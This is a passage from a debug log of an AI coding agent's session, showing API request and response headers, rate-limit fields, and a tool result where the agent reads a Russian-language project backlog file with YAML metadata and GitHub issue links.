\"2023-06-01\",\n[2026-09-29T07:43:51.163Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:43:51.166Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:43:51.169Z] [STDOUT]     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\"date\": \"Tue, 29 Sep 2026 07:43:51 GMT\",\n[2026-09-29T07:43:51.968Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:43:51.972Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:51.977Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:43:51.980Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:43:51.982Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:51.985Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:43:51.989Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:43:51.993Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:43:51.996Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:43:52.000Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:43:52.003Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:43:52.006Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:43:52.008Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:43:52.012Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:43:52.017Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:43:52.023Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:43:52.026Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:43:52.032Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:43:52.035Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:43:52.040Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:43:52.045Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:43:52.048Z] [STDOUT]   \"request-id\": \"req_011CfXMdr1rQYnHPtFqDd45B\",\n[2026-09-29T07:43:52.055Z] [STDOUT]   \"traceresponse\": \"00-906245eea81ac3b65827eb559299a242-421b3804522c83dc-01\",\n[2026-09-29T07:43:52.059Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:43:52.063Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:43:52.067Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:43:52.072Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:43:52.075Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:52.078Z] [STDOUT]   \"cf-ray\": \"a4295bf7df554d8b-FRA\",\n[2026-09-29T07:43:52.080Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:43:52.082Z] [STDOUT] [log_82d83f] response parsed {\n[2026-09-29T07:43:52.085Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:52.088Z] [STDOUT]   status: 200,\n[2026-09-29T07:43:52.091Z] [STDOUT]   body: X {\n[2026-09-29T07:43:52.095Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:43:52.099Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:43:52.103Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:43:52.109Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:43:52.112Z] [STDOUT]     },\n[2026-09-29T07:43:52.118Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:43:52.123Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:43:52.126Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:43:52.131Z] [STDOUT]   },\n[2026-09-29T07:43:52.137Z] [STDOUT]   durationMs: 832,\n[2026-09-29T07:43:52.141Z] [STDOUT] }\n[2026-09-29T07:43:53.329Z] [INFO] {\n[2026-09-29T07:43:53.329Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:43:53.329Z] [INFO] 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\"wire_ingest_context\": {\n[2026-09-29T07:43:53.329Z] [INFO]     \"toolu_015eK42wdwxbmLone1rExWdS\": {\n[2026-09-29T07:43:53.329Z] [INFO]       \"cwd\": \"/tmp/gh-issue-solver-1790667776920\"\n[2026-09-29T07:43:53.329Z] [INFO]     }\n[2026-09-29T07:43:53.329Z] [INFO]   }\n[2026-09-29T07:43:53.329Z] [INFO] }\n[2026-09-29T07:43:54.421Z] [INFO] {\n[2026-09-29T07:43:54.421Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:43:54.421Z] [INFO]   \"message\": {\n[2026-09-29T07:43:54.421Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:43:54.421Z] [INFO]     \"content\": [\n[2026-09-29T07:43:54.421Z] [INFO]       {\n[2026-09-29T07:43:54.421Z] [INFO]         \"tool_use_id\": \"toolu_015eK42wdwxbmLone1rExWdS\",\n[2026-09-29T07:43:54.421Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:43:54.421Z] [INFO]         \"content\": \"---\\n\\n---\\nstatus: canonical\\nversion: 1.68\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: backlog\\ncontext: [governance, backlog, active-sprints, pr-ops, synchronization]\\nmethod: creative-analysis + dependency-mapping\\nscope: repo-wide\\nrelated_artifacts:\\n  - \\\"ops/backlog-instruction.md\\\"\\n  - \\\"ops/artifact-map.md\\\"\\n  - \\\"ops/repo-model.md\\\"\\n  - \\\"standards/glossary.md\\\"\\n  - \\\"standards/audit-standard.md\\\"\\n  - \\\"docs/analysis/2026-06-30-backlog-and-artifact-change-policy-analysis.md\\\"\\n  - \\\"docs/analysis/2026-07-04-kb-runs-hub-applicability-analysis.md\\\"\\n  - \\\"docs/adr/2026-07-adr-007-hub-root-structure.md\\\"\\n  - \\\"docs/adr/2026-07-adr-008-standard-meta-structure.md\\\"\\n  - \\\"standards/standard-meta-structure.md\\\"\\n  - \\\"docs/audit/2026-07-04-cross-standard-stress-tests.md\\\"\\n  - \\\"research/hub/2026-07-04-hub-as-agent-system-global-analysis.md\\\"\\n  - \\\"docs/rfc/2026-08-06-rfc-task-statement-architecture.md\\\"\\n  - \\\"docs/rfc/2026-08-25-rfc-ba-artifact-pipeline-rrp-roadmap.md\\\"\\n  - \\\"research/ba-requirements/2026-08-26-m0-m2-layering-hypothesis-check.md\\\"\\n  - \\\"research/ba-requirements/exp/ba-artifact-pipeline-roadmap-541/README.md\\\"\\n  - \\\"research/ba-requirements/normalization/00-introduction.md\\\"\\n  - \\\"research/ba-requirements/methodology-unification/00-introduction.md\\\"\\n  - \\\"research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md\\\"\\n  - \\\"research/hub/2026-07-31-ops-task-strategy-validation.md\\\"\\n  - \\\"tools/test-post-migration-validator.sh\\\"\\n  - \\\"LICENSE\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/580\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/396\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/392\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/297\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/294\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/296\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/328\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/370\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/374\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/376\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/380\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/386\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/390\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/394\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/398\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/400\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/402\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/411\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/413\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/419\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/417\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/427\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/434\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/423\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/436\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/437\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/449\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/475\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/511\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/515\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/555\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/575\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/583\\\"\\n---\\n\\n# BACKLOG - \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u043f\u0440\u0438\u043d\u0442\u044b \u0425\u0430\u0431\u0430\\n\\n\u042d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u0438\u0445 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a.\\n\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432\\n[backlog-instruction.md](backlog-instruction.md).\\n\\n\u0417\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f \u0438\u0437 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u043f\u043e\u0441\u043b\u0435 \u0430\u0440\u0445\u0438\u0432\u0430\u0446\u0438\u0438 \u0441\u043f\u0440\u0438\u043d\u0442\u0430.\\n\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 GitHub Issues/PR, `CHANGELOG.md` \u0438 \u0441\u0430\u043c\u0438\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445; \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439\\n\u0430\u0440\u0445\u0438\u0432\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f.\\n\\n\u0415\u0441\u043b\u0438 \u0444\u0430\u043a\u0442\u0430 \u043d\u0435\u0442 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 issue, PR, \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0435 \u0438\u043b\u0438 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u0431\u044d\u043a\u043b\u043e\u0433\u0435, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\\n\u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `null`. \u0421\u043f\u0440\u0438\u043d\u0442\u044b \u043d\u0438\u0436\u0435 \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0446\u0435\u043f\u043e\u0447\u043a\u0430\u043c, \u0430 \u043d\u0435\",\n[2026-09-29T07:43:54.421Z] [INFO]         \"is_error\": false\n[2026-09-29T07:43:54.421Z] [INFO]       }\n[2026-09-29T07:43:54.421Z] [INFO]     ]\n[2026-09-29T07:43:54.421Z] [INFO]   },\n[2026-09-29T07:43:54.421Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:43:54.421Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:54.421Z] [INFO]   \"uuid\": \"ca5473e4-5383-4e7d-86e8-fe91647efe51\",\n[2026-09-29T07:43:54.421Z] [INFO]   \"timestamp\": \"2026-09-29T07:43:54.412Z\",\n[2026-09-29T07:43:54.421Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:43:54.421Z] [INFO]     \"stdout\": \"---\\n\\n---\\nstatus: canonical\\nversion: 1.68\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: backlog\\ncontext: [governance, backlog, active-sprints, pr-ops, synchronization]\\nmethod: creative-analysis + dependency-mapping\\nscope: repo-wide\\nrelated_artifacts:\\n  - \\\"ops/backlog-instruction.md\\\"\\n  - \\\"ops/artifact-map.md\\\"\\n  - \\\"ops/repo-model.md\\\"\\n  - \\\"standards/glossary.md\\\"\\n  - \\\"standards/audit-standard.md\\\"\\n  - \\\"docs/analysis/2026-06-30-backlog-and-artifact-change-policy-analysis.md\\\"\\n  - \\\"docs/analysis/2026-07-04-kb-runs-hub-applicability-analysis.md\\\"\\n  - \\\"docs/adr/2026-07-adr-007-hub-root-structure.md\\\"\\n  - \\\"docs/adr/2026-07-adr-008-standard-meta-structure.md\\\"\\n  - \\\"standards/standard-meta-structure.md\\\"\\n  - \\\"docs/audit/2026-07-04-cross-standard-stress-tests.md\\\"\\n  - \\\"research/hub/2026-07-04-hub-as-agent-system-global-analysis.md\\\"\\n  - \\\"docs/rfc/2026-08-06-rfc-task-statement-architecture.md\\\"\\n  - \\\"docs/rfc/2026-08-25-rfc-ba-artifact-pipeline-rrp-roadmap.md\\\"\\n  - \\\"research/ba-requirements/2026-08-26-m0-m2-layering-hypothesis-check.md\\\"\\n  - \\\"research/ba-requirements/exp/ba-artifact-pipeline-roadmap-541/README.md\\\"\\n  - \\\"research/ba-requirements/normalization/00-introduction.md\\\"\\n  - \\\"research/ba-requirements/methodology-unification/00-introduction.md\\\"\\n  - \\\"research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md\\\"\\n  - \\\"research/hub/2026-07-31-ops-task-strategy-validation.md\\\"\\n  - \\\"tools/test-post-migration-validator.sh\\\"\\n  - \\\"LICENSE\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/580\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/396\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/392\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/297\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/294\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/296\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/328\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/370\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/374\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/376\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/380\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/386\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/390\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/394\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/398\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/400\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/402\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/411\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/413\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/419\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/417\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/427\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/434\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/423\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/436\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/437\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/449\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/475\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/511\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/515\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/555\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/575\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/583\\\"\\n---\\n\\n# BACKLOG - \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u043f\u0440\u0438\u043d\u0442\u044b \u0425\u0430\u0431\u0430\\n\\n\u042d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u0438\u0445 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a.\\n\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432\\n[backlog-instruction.md](backlog-instruction.md).\\n\\n\u0417\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f \u0438\u0437 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u043f\u043e\u0441\u043b\u0435 \u0430\u0440\u0445\u0438\u0432\u0430\u0446\u0438\u0438 \u0441\u043f\u0440\u0438\u043d\u0442\u0430.\\n\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 GitHub Issues/PR, `CHANGELOG.md` \u0438 \u0441\u0430\u043c\u0438\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445; \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439\\n\u0430\u0440\u0445\u0438\u0432\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f.\\n\\n\u0415\u0441\u043b\u0438 \u0444\u0430\u043a\u0442\u0430 \u043d\u0435\u0442 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 issue, PR, \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0435 \u0438\u043b\u0438 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u0431\u044d\u043a\u043b\u043e\u0433\u0435, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\\n\u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `null`. \u0421\u043f\u0440\u0438\u043d\u0442\u044b \u043d\u0438\u0436\u0435 \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0446\u0435\u043f\u043e\u0447\u043a\u0430\u043c, \u0430 \u043d\u0435\",\n[2026-09-29T07:43:54.421Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:43:54.421Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:43:54.421Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:43:54.421Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:43:54.421Z] [INFO]   }\n[2026-09-29T07:43:54.421Z] [INFO] }\n[2026-09-29T07:43:54.451Z] [STDOUT] [log_9d0f26] sending request {\n[2026-09-29T07:43:54.455Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:43:54.459Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:54.464Z] [STDOUT]   options: {\n[2026-09-29T07:43:54.466Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:43:54.468Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:43:54.471Z] [STDOUT]     body: {\n[2026-09-29T07:43:54.473Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:43:54.477Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:43:54.479Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:43:54.482Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:43:54.485Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:43:54.487Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:43:54.490Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:43:54.492Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:43:54.494Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:43:54.498Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:43:54.501Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:43:54.504Z] [STDOUT]       stream: true,\n[2026-09-29T07:43:54.509Z] [STDOUT]     },\n[2026-09-29T07:43:54.511Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:43:54.514Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:43:54.517Z] [STDOUT]       aborted: false,\n[2026-09-29T07:43:54.520Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:43:54.524Z] [STDOUT]       onabort: null,\n[2026-09-29T07:43:54.527Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:43:54.530Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:43:54.533Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:43:54.537Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:43:54.540Z] [STDOUT]     },\n[2026-09-29T07:43:54.544Z] [STDOUT]     stream: true,\n[2026-09-29T07:43:54.548Z] [STDOUT]   },\n[2026-09-29T07:43:54.551Z] [STDOUT]   headers: {\n[2026-09-29T07:43:54.555Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:43:54.561Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:43:54.564Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:43:54.567Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:43:54.569Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:43:54.571Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:43:54.574Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:43:54.577Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:43:54.580Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:43:54.582Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1050\",\n[2026-09-29T07:43:54.586Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:43:54.588Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:43:54.592Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:54.595Z] [STDOUT]     \"x-client-request-id\": \"412d1668-c099-4227-a3bc-c4afd2702a0e\",\n[2026-09-29T07:43:54.599Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:43:54.602Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:43:54.604Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:43:54.607Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:43:54.611Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:43:54.613Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:43:54.615Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:43:54.617Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:43:54.618Z] [STDOUT]   },\n[2026-09-29T07:43:54.621Z] [STDOUT] }\n[2026-09-29T07:43:55.278Z] [STDOUT] [log_9d0f26, request-id: \"req_011CfXMe6hPqJYtb1ijCgy6A\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 825ms\n[2026-09-29T07:43:55.287Z] [STDOUT] [log_9d0f26] response start {\n[2026-09-29T07:43:55.306Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:55.311Z] [STDOUT]   status: 200,\n[2026-09-29T07:43:55.319Z] [STDOUT]   headers: {\n[2026-09-29T07:43:55.325Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:43:55.333Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:43:55.342Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:43:55.346Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:43:55.348Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": 